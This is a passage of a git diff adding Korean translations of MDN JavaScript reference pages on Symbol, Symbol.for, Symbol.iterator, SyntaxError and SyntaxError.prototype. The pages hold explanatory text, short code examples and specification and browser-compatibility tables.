+<pre class="brush: js">Symbol.for('foo'); // 새로운 전역심볼 생성
+Symbol.for('foo'); // 이미 만들어진 심볼을 검색
+
+// 전역심볼은 서로 같고, 지역심볼은 아니다.
+Symbol.for('bar') === Symbol.for('bar'); // true
+Symbol('bar') === Symbol('bar'); // false
+
+// 키는 설명하는데 쓰이기도 한다.
+var sym = Symbol.for('mario');
+sym.toString(); // "Symbol(mario)"
+</pre>
+
+<p>다른 라이브러리의 전역 심볼들과 당신의 전역 심볼간의 키 충돌을 피하기 위해서는 당신 심볼 앞에 prefix를 두는 것이 좋다:</p>
+
+<pre class="brush: js">Symbol.for('mdn.foo');
+Symbol.for('mdn.bar');
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatChrome(40) }}</td>
+ <td>{{ CompatGeckoDesktop("36.0") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile("36.0") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.keyFor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/index.html b/files/ko/web/javascript/reference/global_objects/symbol/index.html
new file mode 100644
index 0000000000..05b1fdd25b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/index.html
@@ -0,0 +1,233 @@
+---
+title: Symbol
+slug: Web/JavaScript/Reference/Global_Objects/Symbol
+tags:
+ - ECMAScript 2015
+ - 심볼
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p><code>Symbol()</code> 함수는 <strong>심볼(symbol)</strong> 형식의 값을 반환하는데, 이 심볼은 내장 객체(built-in objects)의 여러 멤버를 가리키는 정적 프로퍼티와 전역 심볼 레지스트리(global symbol registry)를 가리키는 정적 메서드를 가지며, "<code>new Symbol()</code>" 문법을 지원하지 않아 생성자 측면에서는 불완전한 내장 객체 클래스(built-in object class)와 유사합니다.</p>
+
+<p><code>Symbol()</code>로부터 반환되는 모든 심볼 값은 고유합니다. 심볼 값은 객체 프로퍼티(object properties)에 대한 식별자로 사용될 수 있습니다; 이것이 심볼 데이터 형식의 유일한 목적입니다. 목적과 용례에 대한 더 자세한 설명은 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Symbol">용어집의 심볼 항목(glossary entry for Symbol)</a>에서 볼 수 있습니다.</p>
+
+<p><strong>심볼(symbol)</strong> 데이터 형은 원시 데이터 형({{Glossary("Primitive", "primitive data type")}})의 일종입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Symbol(<em>[description]</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>description</code> {{optional_inline}}</dt>
+ <dd>선택적(optional) 문자열. 디버깅에 사용할 수 있는 심볼에 대한 설명(description)으로 심볼 자체에 접근하는 용도로는 사용할 수 없음.</dd>
+</dl>
+
+<h2 id="설명(Description)">설명(Description)</h2>
+
+<p>새 원시(primitive) 심볼을 생성하려면, 심볼을 설명하는 선택적(optional) 문자열과 함께 <code>Symbol()</code>을 쓰면됩니다.</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol("foo");
+var sym3 = Symbol("foo");
+</pre>
+
+<p>위의 코드는 세 개의 새 심볼을 생성합니다. <code>Symbol("foo")</code>는 "foo"라는 문자열을 심볼로 강제로 변환시키지 않는다는 점에 유의하시기 바랍니다. 해당 코드는 매 번 새로운 심볼을 생성합니다:</p>
+
+<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
+
+<p>아래 {{jsxref("Operators/new", "new")}} 연산자를 이용한 문법은 {{jsxref("TypeError")}}를 발생시킬 것입니다:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>이는 작성자가 새로운 심볼 값 대신 명시적으로 심볼 래퍼 객체(<code>Symbol</code> wrapper object)를 생성할 수 없게 합니다. 일반적으로 원시 데이터 형에 대한 명시적인 래퍼 객체 생성(예를 들어, <code>new Boolean</code>, <code>new String</code> 또는 <code>new Number</code>와 같은)이 가능하다는 점에 비춰보면 의외일 수 있습니다.</p>
+
+<p>꼭 심볼 래퍼 객체를 생성하고 싶다면, <code>Object()</code> 함수를 이용할 수 있습니다.</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+typeof sym; // "symbol"
+var symObj = Object(sym);
+typeof symObj; // "object"
+</pre>
+
+<h3 id="전역_심볼_레지스트리_내_공유_심볼">전역 심볼 레지스트리 내 공유 심볼</h3>
+
+<p><code>Symbol()</code> 함수를 사용한 위의 문법은 코드베이스(codebase) 전체에서 사용 가능한 전역 심볼을 생성하는 것은 아닙니다. 파일 간(across files), 또는 램(realms, 각각이 자체의 전역 범위(scope)를 가지는) 간에도 사용할 수 있는 심볼을 생성하기 위해서는, {{jsxref("Symbol.for()")}}와 {{jsxref("Symbol.keyFor()")}} 메서드를 이용해 전역 심볼 레지스트리에 심볼을 설정하거나 추출해야 합니다.</p>
+
+<h3 id="객체에서_심볼_속성(symbol_properties)_찾기">객체에서 심볼 속성(symbol properties) 찾기</h3>
+
+<p>{{jsxref("Object.getOwnPropertySymbols()")}} 메서드는 심볼의 배열을 반환하여 주어진 객체의 심볼 속성을 찾을 수 있게 해줍니다. 모든 객체는 스스로에 대한 심볼 속성이 없는 상태로 초기화되기 때문에 해당 객체에 심볼 속성을 설정하기 전까지는 빈 배열을 반환한다는 점에 유의하시기 바랍니다.</p>
+
+<h2 id="속성(properties)">속성(properties)</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>값이 0인 길이 속성</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd><code>Symbol</code> 생성자의 프로토타입을 나타냄.</dd>
+</dl>
+
+<h3 id="잘_알려진_심볼들">잘 알려진 심볼들</h3>
+
+<p>여러분이 정의하는 심볼 외에, 자바스크립트는 ECMAScript 5와 그 이전 버전에서는 개발자에게 제공되지 않았던 언어 내부의 동작을 나타내는 내장(built-in) 심볼을 몇 가지 가지고 있습니다. 다음 속성을 이용해 이들 심볼에 접근할 수 있습니다:</p>
+
+<h4 id="반복(iteration)_심볼">반복(iteration) 심볼</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>객체의 기본 반복자(default iterator)를 반환하는 메서드.<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}</dt>
+ <dd>객체의 기본 비동기 반복자(default AsyncIterator)를 반환하는 메서드. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await-of"><code>for await of</code></a>에서 사용됨.</dd>
+</dl>
+
+<h4 id="정규표현식_심볼">정규표현식 심볼</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>문자열과 일치하는(match) 메서드로 객체를 정규표현식으로 사용할 수 있는지 확인하는데도 사용. {{jsxref("String.prototype.match()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>문자열 중 일치하는 문자열 일부를 대체하는 메소드. {{jsxref("String.prototype.replace()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>문자열에서 정규표현식과 일치하는 인덱스(index)를 반환하는 메서드. {{jsxref("String.prototype.search()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>정규표현식과 일치하는 인덱스에서 문자열을 나누는 메서드. {{jsxref("String.prototype.split()")}}에서 사용됨.</dd>
+</dl>
+
+<h4 id="그_외_심볼들">그 외 심볼들</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>생성자 객체(constructor object)가 어떤 객체를 자신의 인스턴스로 인식하는지를 확인하는데 사용하는 메소드. {{jsxref("Operators/instanceof", "instanceof")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>객체가 자신의 배열 요소를 직렬로(be flattened) 나타낼 수 있는지 여부를 나타내는 부울 값. {{jsxref("Array.prototype.concat()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>자신의 속성명 또는 상속된 속성명이 연관 객체(the associated objet)의 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> 환경 바인딩(envorinment bindings)에서 제외된 객체의 값 (An object value of whose own and inherited property names are excluded from the <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> environment bindings of the associated object).</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>파생(derived) 객체를 생성하는데 사용되는 생성자 함수.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>객체를 원시형(primitive) 값으로 변환하는 메서드.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>객체에 대한 기본 설명(description)으로 사용되는 문자열 값. {{jsxref("Object.prototype.toString()")}}에서 사용됨.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>주어진 키(key)로 현재 존재하는 심볼을 검색하고 찾으면 반환합니다. 존재하지 않으면 주어진 키로 전역 심볼 레지스트리에 새로운 심볼을 생성하고 그 심볼을 반환합니다.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>전역 심볼 레지스트리로부터 주어진 심볼에 대한 공유 심볼 키(shared symbol key)를 추출합니다.</dd>
+</dl>
+
+<h2 id="심볼(Symbol)_프로토타입"><code>심볼(Symbol)</code> 프로토타입</h2>
+
+<p>모든 심볼은 {{jsxref("Symbol.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성(properties)_2">속성(properties)</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="심볼에_typeof_연산자_사용">심볼에 <code>typeof</code> 연산자 사용</h3>
+
+<p>{{jsxref("Operators/typeof", "typeof")}} 연산자를 이용해 심볼인지 알 수 있습니다.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="심볼의_형_변환(type_conversions)">심볼의 형 변환(type conversions)</h3>
+
+<p>심볼의 형 변환(type conversion)할 때 유의해야 할 사항</p>
+
+<ul>
+ <li>심볼을 숫자(number)로 변환하고자 할 때, {{jsxref("TypeError")}}가 발생합니다.<br>
+ (e.g. <code>+sym</code> or <code>sym | 0</code>).</li>
+ <li>느슨한 동등(loose equality) 연산자를 사용할 때, <code>Object(sym) == sym</code>는 <code>true</code>를 반환합니다.</li>
+ <li><code>Symbol("foo") + "bar"</code>는 {{jsxref("TypeError")}} (심볼을 문자열로 변환할 수 없는)를 발생시킵니다. 이는 예를 들자면, 심볼에서 암묵적으로 새로운 문자열 속성명을 생성하지 못하게 합니다.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"보다 안전한" String(sym) 변환("safer" <code>String(sym)</code> conversion)</a>은 심볼에 대해 {{jsxref("Symbol.prototype.toString()")}}을 호출하는 것과 같이 동작하지만, <code>new String(sym)</code>는 오류(error)를 발생시키는 것을 유의하시기 바랍니다.</li>
+</ul>
+
+<h3 id="심볼과_for...in_반복문">심볼과 <code>for...in</code> 반복문</h3>
+
+<p>심볼은 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> 반복문 내에서 하나씩 열거할 수 없습니다. 더구나, {{jsxref("Object.getOwnPropertyNames()")}}는 심볼 객체 속성(symbol object properties)을 반환하지 않습니다. 하지만, {{jsxref("Object.getOwnPropertySymbols()")}}를 이용해 이것들을 가져올 수 있습니다.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+ console.log(i); // logs "c" and "d"
+}</pre>
+
+<h3 id="심볼과_JSON.stringify()">심볼과 <code>JSON.stringify()</code></h3>
+
+<p>심볼을 키로 사용한 속성(symbol-keyed properties)은 <code>JSON.stringify()</code>을 사용할 때 완전히 무시됩니다:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol("foo")]: "foo"});
+// '{}'</pre>
+
+<p>더 자세한 것은 {{jsxref("JSON.stringify()")}}를 참조하시기 바랍니다.</p>
+
+<h3 id="속성_키로서의_심볼_래퍼_객체(symbol_wrapper_object)">속성 키로서의 심볼 래퍼 객체(symbol wrapper object)</h3>
+
+<p>심볼 래퍼 객체를 속성 키로 사용하면, 이 객체는 래핑된 심볼로 강제 변환됩니다(When a Symbol wrapper object is used as a property key, this object will be coerced to its wrapped symbol):</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+var obj = {[sym]: 1};
+obj[sym]; // 1
+obj[Object(sym)]; // still 1
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/Symbol">Glossary: Symbol data type</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html b/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html
new file mode 100644
index 0000000000..820e63d1cb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html
@@ -0,0 +1,95 @@
+---
+title: Symbol.iterator
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+---
+<div>{{JSRef}}</div>
+
+<p>잘 알려진 <code><strong>Symbol.iterator</strong></code> 심볼은 객체에 대응하는 기본 이터레이터를 지정합니다. <a href="/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>와 같이 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>(<code>for..of</code> 루프의 시작부분과 같이) 객체가 반환될 필요가 있을때는 언제든지<code>@@iterator</code> 메서드는 인수 없이도 호출 할 수 있습니다. 반환된 <strong>iterator</strong>는 반복할 값을 취득하기 위해 사용됩니다.</p>
+
+<p>{{jsxref("Object")}}와 같이 반복동작을 내장하고 있는 형태도 있지만 그렇지 않은 경우도 있습니다. <code>@@iterator</code> 메서드를 가지고 있는 내장형 타입은 아래와 같습니다.</p>
+
+<ul>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
+
+<p>상세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복처리 프로토콜</a>도 확인 해 주시기 바랍니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유저_정의_이터레이터">유저 정의 이터레이터</h3>
+
+<p>앞에서 기술한 바와 같이 독자적으로 이터레이터를 만드는 것이 가능합니다.</p>
+
+<pre class="brush: js">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+ yield 1;
+ yield 2;
+ yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
+<h3 id="비정형_이터레이터">비정형 이터레이터</h3>
+
+<p>iterable의 <code>@@iterator</code> 메서드가 이터레이터 객체를 반환하지 않는 경우 비정형 이터레이터입니다. 이와 같이 사용하는 경우 실행시 예외 혹은 예상치 못한 버그를 발생할 가능성이 있습니다.</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상황</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol.iterator")}}</p>
+
+<h2 id="관련_정보">관련 정보</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복처리 프로토콜</a></li>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html b/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html
new file mode 100644
index 0000000000..84ccc26908
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html
@@ -0,0 +1,123 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>SyntaxError</strong></code> 객체는 문법적으로 유효하지 않은 코드를 해석하려고 시도할 때 발생하는 오류를 표현합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SyntaxError</code>는 JavaScript 엔진이 코드를 분석할 때 문법을 준수하지 않은 코드를 만나면 발생합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new SyntaxError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code><strong> {{optional_inline}}</strong></dt>
+ <dd>오류에 대한 설명.</dd>
+ <dt><code>fileName</code><strong> {{optional_inline}}</strong> {{non-standard_inline}}</dt>
+ <dd>예외가 발생한 코드를 담고 있는 파일의 이름.</dd>
+ <dt><code>lineNumber</code><strong> {{optional_inline}}</strong> {{non-standard_inline}}</dt>
+ <dd>예외가 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("SyntaxError.prototype")}}</dt>
+ <dd><code>SyntaxError</code> 객체에 속성을 추가할 수 있도록 해주고 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역(global) <code>SyntaxError</code> 는 고유의 메소드를 가지고 있지 않지만, prototype chain을 통해 몇몇의 메소드를 상속 받습니다.</p>
+
+<h2 id="SyntaxError_인스턴스"><code>SyntaxError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="SyntaxError_잡기"><code>SyntaxError</code> 잡기</h3>
+
+<pre class="brush: js">try {
+ eval('hoo bar');
+} catch (e) {
+ console.log(e instanceof SyntaxError); // true
+ console.log(e.message); // "missing ; before statement"
+ console.log(e.name); // "SyntaxError"
+ console.log(e.fileName); // "Scratchpad/1"
+ console.log(e.lineNumber); // 1
+ console.log(e.columnNumber); // 4
+ console.log(e.stack); // "@Scratchpad/1:2:3\n"
+}
+</pre>
+
+<h3 id="SyntaxError_생성하기"><code>SyntaxError</code> 생성하기</h3>
+
+<pre class="brush: js">try {
+ throw new SyntaxError('Hello', 'someFile.js', 10);
+} catch (e) {
+ console.log(e instanceof SyntaxError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "SyntaxError"
+ console.log(e.fileName); // "someFile.js"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // "@Scratchpad/2:11:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.SyntaxError")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("SyntaxError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html b/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
new file mode 100644
index 0000000000..5fda6d61ad
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
@@ -0,0 +1,126 @@
+---
+title: SyntaxError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>SyntaxError.prototype </strong></code>속성은 {{jsxref("SyntaxError")}} 객체의 생성자 프로토타입을 표현합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("SyntaxError")}} 인스턴스는 <code>SyntaxError.prototype </code>객체로부터<code> </code>상속 받습니다. 또한, 속성이나 메소드를 추가할 때 모든 인스턴스에 프로토타입을 사용 할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>SyntaxError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성하는 함수를 명시합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>에러 메시지. 비록 ECMA-262는  {{jsxref("SyntaxError")}} 가 고유의 <code>message</code> 속성을 제공해야 한다고 명시하고 있지만, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> 에서는, {{jsxref("Error.prototype.message")}}를 상속 받습니다. </dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>에러명. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>에러를 발생시킨 파일의 경로. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 코드 라인 넘버. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>에러가 발생된 라인의 컬럼 넘버. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>스택 트레이스. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>비록 {{jsxref("SyntaxError")}} 프로토타입 객체는 고유의 메소드를 가지고 있지는 않지만, {{jsxref("SyntaxError")}} 인스턴스는 몇 가지의 메소드를 프로토타입 체인을 통하여 상속 받습니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
